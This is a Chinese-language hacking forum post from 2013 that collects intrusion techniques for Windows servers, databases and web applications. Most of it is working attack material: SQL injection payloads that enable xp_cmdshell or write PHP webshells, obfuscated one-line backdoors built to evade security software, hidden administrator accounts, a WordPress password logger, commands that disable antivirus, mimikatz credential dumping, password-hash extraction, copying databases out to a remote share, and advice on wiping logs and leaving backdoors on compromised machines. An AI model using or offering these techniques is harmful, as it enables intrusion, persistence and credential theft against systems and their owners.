admin 发表于 2013-2-27 21:24:42

渗透技术大全


1.net user administrator /passwordreq:no
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
2.比较巧妙的建克隆号的步骤
先建一个user的用户
然后导出注册表。然后在计算机管理里删掉
在导入,在添加为管理员组
3.查radmin密码
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
4.
建立一个"services.exe"的项
再在其下面建立(字符串值)
键值为mu ma的全路径
5.runas /user:guest cmd
测试用户权限!
6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
7.入侵后漏洞修补、痕迹清理,后门置放:
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c

for example

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'

9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
如果要启用的话就必须把他加到高级用户模式
可以直接在注入点那里直接注入
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。

分析器
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
10.xp_cmdshell新的恢复办法
xp_cmdshell新的恢复办法
扩展储存过程被删除以后可以有很简单的办法恢复:
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

-----------------------------

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'


开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshel
-------------------------
清除3389的登录记录用一条系统自带的命令:
reg delete "hkcu\Software\Microsoft\Terminal Server Client"/f

然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
在 mysql里查看当前用户的权限
show grants for

以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。


Create USER 'itpro'@'%' IDENTIFIED BY '123';

GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION

MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0

MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;

搞完事记得删除脚印哟。

Drop USER 'itpro'@'%';

Drop DATABASE IF EXISTS `itpro` ;

当前用户获取system权限
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
sc start SuperCMD
程序代码
<SCRIPT LANGUAGE="VBScript">
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","nosec")
od.SetPassword "123456abc!@#"
od.SetInfo
Set of=GetObject(os&"/nosec",user)
oe.add os&"/nosec"
</Script>
<script language=javascript>window.close();</script>




突破验证码限制入后台拿shell
程序代码
REGEDIT4

"BlockXBM"=dword:00000000

保存为code.reg,导入注册表,重器IE
就可以了
union写马
程序代码
www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST)?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*

应用在dedecms注射漏洞上,无后台写马
dedecms后台,无文件管理器,没有outfile权限的时候
在插件管理-病毒扫描里
写一句话进include/config_hand.php里
程序代码
>';?><?php @eval($_POST);?>


如上格式

oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
程序代码
select username,password from dba_users;


mysql远程连接用户
程序代码

Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;




echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

1.查询终端端口

xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
type tsp.reg

2.开启XP&2003终端服务


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.更改终端端口为20008(0x4E28)

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f

4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制

REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f


5.开启Win2000的终端,端口为3389(需重启)

echo Windows Registry Editor Version 5.00 >2000.reg
echo. >>2000.reg
echo >>2000.reg
echo "Enabled"="0" >>2000.reg
echo >>2000.reg
echo "ShutdownWithoutLogon"="0" >>2000.reg
echo >>2000.reg
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
echo >>2000.reg
echo "TSEnabled"=dword:00000001 >>2000.reg
echo >>2000.reg
echo "Start"=dword:00000002 >>2000.reg
echo >>2000.reg
echo "Start"=dword:00000002 >>2000.reg
echo >>2000.reg
echo "Hotkey"="1" >>2000.reg
echo >>2000.reg
echo "ortNumber"=dword:00000D3D >>2000.reg
echo >>2000.reg
echo "ortNumber"=dword:00000D3D >>2000.reg

6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)

@ECHO OFF & cd/d %temp% & echo > restart.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> restart.inf
echo >> restart.inf
rundll32 setupapi,%inf% 1 %temp%\restart.inf


7.禁用TCP/IP端口筛选 (需重启)

REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

8.终端超出最大连接数时可用下面的命令来连接

mstsc /v:ip:3389 /console

9.调整NTFS分区权限

cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)

cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)

------------------------------------------------------
3389.vbs
On Error Resume Next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "ortNumber"
dwValue = 3389
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "ortNumber"
dwValue = 3389
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
Set R = CreateObject("WScript.Shell")
R.run("Shutdown.exe -f -r -t 0")

删除awgina.dll的注册表键值
程序代码

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f




程序代码
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash

设置为1,关闭LM Hash

数据库安全:入侵Oracle数据库常用操作命令
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
3、SQL>connect / as sysdba ;(as sysoper)或
connect internal/oracle AS SYSDBA ;(scott/tiger)
conn sys/change_on_install as sysdba;
4、SQL>startup; 启动数据库实例
5、查看当前的所有数据库: select * from v$database;
select name from v$database;
6、desc v$databases; 查看数据库结构字段
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
SQL>select * from V_$PWFILE_USERS;
Show user;查看当前数据库连接用户
8、进入test数据库:database test;
9、查看所有的数据库实例:select * from v$instance;
如:ora9i
10、查看当前库的所有数据表:
SQL> select TABLE_NAME from all_tables;
select * from all_tables;
SQL> select table_name from all_tables where table_name like '%u%';
TABLE_NAME
------------------------------
_default_auditing_options_
11、查看表结构:desc all_tables;
12、显示CQI.T_BBS_XUSER的所有字段结构:
desc CQI.T_BBS_XUSER;
13、获得CQI.T_BBS_XUSER表中的记录:
select * from CQI.T_BBS_XUSER;
14、增加数据库用户:(test11/test)
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
15、用户授权:
grant connect,resource,dba to test11;
grant sysdba to test11;
commit;
16、更改数据库用户的密码:(将sys与system的密码改为test.)
alter user sys indentified by test;
alter user system indentified by test;

applicationContext-util.xml
applicationContext.xml
struts-config.xml
web.xml
server.xml
tomcat-users.xml
hibernate.cfg.xml
database_pool_config.xml


\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini
\WEB-INF\struts-config.xml文件目录结构

spring.properties 里边包含hibernate.cfg.xml的名称


C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml

如果都找不到那就看看class文件吧。。

测试1:
SELECT top 1 name=STUFF((SELECT ','+ FROM sysobjects twhere xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1

测试2:

create table dirs(paths varchar(100),paths1 varchar(100), id int)

delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--

SELECT top 1 paths=STUFF((SELECT ','+ FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1

查看虚拟机中的共享文件:
在虚拟机中的cmd中执行
\\.host\Shared Folders

cmdshell下找终端的技巧
找终端:
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
   而终端所对应的服务名为:TermService
第二步:用netstat -ano命令,列出所有端口对应的PID值!
   找到PID值所对应的端口

查询sql server 2005中的密码hash
SELECT password_hash FROM sys.sql_logins where name='sa'
SELECT '<%execute request("a")%>' into in 'c:\x.asp;a.xls' 'excel 8.0;' from a
access中导出shell

中文版本操作系统中针对mysql添加用户完整代码:

use test;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
drop table a;

英文版本:

use test;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
drop table a;

create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
drop table a;

记录一下怎么处理变态诺顿
查看诺顿服务的路径
sc qc ccSetMgr
然后设置权限拒绝访问。做绝一点。。
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone

然后再重启服务器
iisreset /reboot
这样就搞定了。。不过完事后。记得恢复权限。。。。
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
SELECT '<%eval(request(chr(35)))%>' into in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin

EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

postgresql注射的一些东西
如何获得webshell
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST);?>$$);
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
如何读文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;

z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
当然,这些的postgresql的数据库版本必须大于8.X
创建一个system的函数:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

创建一个输出表:
CREATE TABLE stdout(id serial, system_out text)

执行shell,输出到输出表内:
SELECT system('uname -a > /tmp/test')

copy 输出的内容到表里面;
COPY stdout(system_out) FROM '/tmp/test'

从输出表内读取执行后的回显,判断是否执行成功

SELECT system_out FROM stdout
下面是测试例子

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
net stop sharedaccess    stop the default firewall
netsh firewall show      show/config default firewall
netsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall
netsh firewall add allowedprogram c:\1.exe Svchost   add the program which is allowed by default firewall
修改3389端口方法(修改后不易被扫出)
修改服务器端的端口设置,注册表有2个地方需要修改


PortNumber值,默认是3389,修改成所希望的端口,比如6000

第二个地方:
 
PortNumber值,默认是3389,修改成所希望的端口,比如6000

现在这样就可以了。重启系统就可以了

查看3389远程登录的脚本
保存为一个bat文件
date /t >>D:\sec\TSlog\ts.log
time /t >>D:\sec\TSlog\ts.log
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
start Explorer

mstsc的参数:

远程桌面连接

MSTSC      [<Connection File>] >] ]
| /Edit"ConnectionFile" | /Migrate | /?

<Connection File> -- 指定连接的 .rdp 文件的名称。

/v:<server[:port]> -- 指定要连接到的终端服务器。

/console -- 连接到服务器的控制台会话。

/f -- 以全屏模式启动客户端。

/w:<width> --指定远程桌面屏幕的宽度。

/h:<height> -- 指定远程桌面屏幕的高度。

/edit -- 打开指定的 .rdp 文件来编辑。

/migrate -- 将客户端连接管理器创建的旧版
连接文件迁移到新的 .rdp 连接文件。


其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量

命令行下开启3389
net user asp.net aspnet /add
net localgroup Administrators asp.net /add
net localgroup "Remote Desktop Users" asp.net /add
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
sc config rasman start= auto
sc config remoteaccess start= auto
net start rasman
net start remoteaccess
Media
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

control userpasswords2 查看用户的密码
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径
SELECT '<%execute request("a")%>' into in 'c:\x.asp;a.xls' 'excel 8.0;' from a

141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
测试1:
SELECT top 1 name=STUFF((SELECT ','+ FROM sysobjects twhere xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1

测试2:

create table dirs(paths varchar(100),paths1 varchar(100), id int)

delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--

SELECT top 1 paths=STUFF((SELECT ','+ FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
net stop mcafeeframework
net stop mcshield
net stop mcafeeengineservice
net stop mctaskmanager
http://www.antian365.com/forum.php?mod=attachment&aid=NDIzNXwzNjBiZjA4Y3wxMzYxOTY5OTgzfDU5Nzl8NDY5Mw%3D%3D

VNCDump.zip (4.76 KB, 下载次数: 1)
密码在线破解http://tools88.com/safe/vnc.php
VNC密码可以通过vncdump 直接获取,通过dos查询 下的Password也可以获取

exec master..xp_cmdshell 'net user'
mssql执行命令。
获取mssql的密码hash查询
select name,password from master.dbo.sysxlogins

backup log dbName with NO_LOG;
backup log dbName with TRUNCATE_ONLY;
DBCC SHRINKDATABASE(dbName);
mssql数据库压缩

Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。

backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak

Discuz!nt35渗透要点:
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
(3)保存。
(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
d:\rar.exe a -r d:\1.rar d:\website\
递归压缩website
注意rar.exe的路径

<?php

$telok   = "0${@eval($_POST)}";

$username   = "123456";

$userpwd   = "123456";

$telhao   = "123456";

$telinfo   = "123456";

?>
php一句话未过滤插入一句话木马

站库分离脱裤技巧
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
这儿利用的是马儿的专家模式(自己写代码)。
ini_set('display_errors', 1);
set_time_limit(0);
error_reporting(E_ALL);
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
    $i = $i+1;
    $tmp .=implode("::", $row)."\n";
    if(!($i%500)){//500条写入一个文件
      $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
      file_put_contents($filename,$tmp);
      $tmp = '';
    }
}
mysql_free_result($result);



//down完后delete


ini_set('display_errors', 1);
error_reporting(E_ALL);
$i = 0;
while($i<32) {
    $i = $i+1;
      $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
      unlink($filename);
}
httprint 收集操作系统指纹
扫描192.168.1.100的所有端口
nmap –PN –sT –sV –p0-65535 192.168.1.100
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host

Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)

  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)

  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x

  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)

  http://net-square.com/msnpawn/index.shtml (要求安装)

  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)

  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
set names gb2312
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。

mysql 密码修改
UPDATE mysql.user SET password=PASSWORD("newpass")whereuser="mysqladmin ”
update user set password=PASSWORD('antian365.com') where user='root';
flush privileges;
高级的PHP一句话木马后门

入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀

1、

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$hh("//e",$_POST['h'],"Access");

//菜刀一句话

2、

$filename=$_GET['xbid'];

include ($filename);

//危险的include函数,直接编译任何文件为php格式运行

3、

$reg="c"."o"."p"."y";

$reg($_FILES,$_FILES);

//重命名任何文件

4、

$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$gzid("//e",$_POST['h'],"Access");

//菜刀一句话

5、include ($uid);

//危险的include函数,直接编译任何文件为php格式运行,POST


//gif插一句话

6、典型一句话

程序后门代码
<?php eval_r($_POST)?>
程序代码
<?php @eval_r($_POST)?>
//容错代码
程序代码
<?php assert($_POST);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("//e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST);</O>
程序代码
<script language="php">@eval_r($_POST)</script>
//绕过<?限制的一句话

http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
详细用法:
1、到tools目录。psexec \\127.0.0.1 cmd
2、执行mimikatz
3、执行 privilege::debug
4、执行 inject::process lsass.exe sekurlsa.dll
5、执行@getLogonPasswords
6、widget就是密码
7、exit退出,不要直接关闭否则系统会崩溃。

http://www.monyer.com/demo/monyerjs/ js解码网站比较全面

自动查找系统高危补丁
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt

突破安全狗的一句话aspx后门
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
webshell下记录WordPress登陆密码
webshell下记录Wordpress登陆密码方便进一步社工
在文件wp-login.php中539行处添加:
// log password
$log_user=$_POST['log'];
$log_pwd=$_POST['pwd'];
$log_ip=$_SERVER["REMOTE_ADDR"];
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
$txt=$txt.”\r\n”;
if($log_user&&$log_pwd&&$log_ip){
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
}
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
就是搜索case ‘login’
在它下面直接插入即可,记录的密码生成在pwd.txt中,
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
利用II6文件解析漏洞绕过安全狗代码:
;antian365.asp;antian365.jpg

各种类型数据库抓HASH破解最高权限密码!
1.sql server2000
SELECT password from master.dbo.sysxlogins where name='sa'
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A

0×0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name='sa'
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0×0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and dictionary based attacks.

update:- following bernardo’s comments:-
use function fn_varbintohexstr() to cast password in a hex string.
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins

MYSQL:-

In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.

*mysql< 4.1

mysql> SELECT PASSWORD(‘mypass’);
+——————–+
| PASSWORD(‘mypass’) |
+——————–+
| 6f8c114b58f2ce9e   |
+——————–+

*mysql >=4.1

mysql> SELECT PASSWORD(‘mypass’);
+——————————————-+
| PASSWORD(‘mypass’)                        |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+

Select user, password from mysql.user
The hashes can be cracked in ‘cain and abel’

Postgres:-
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)
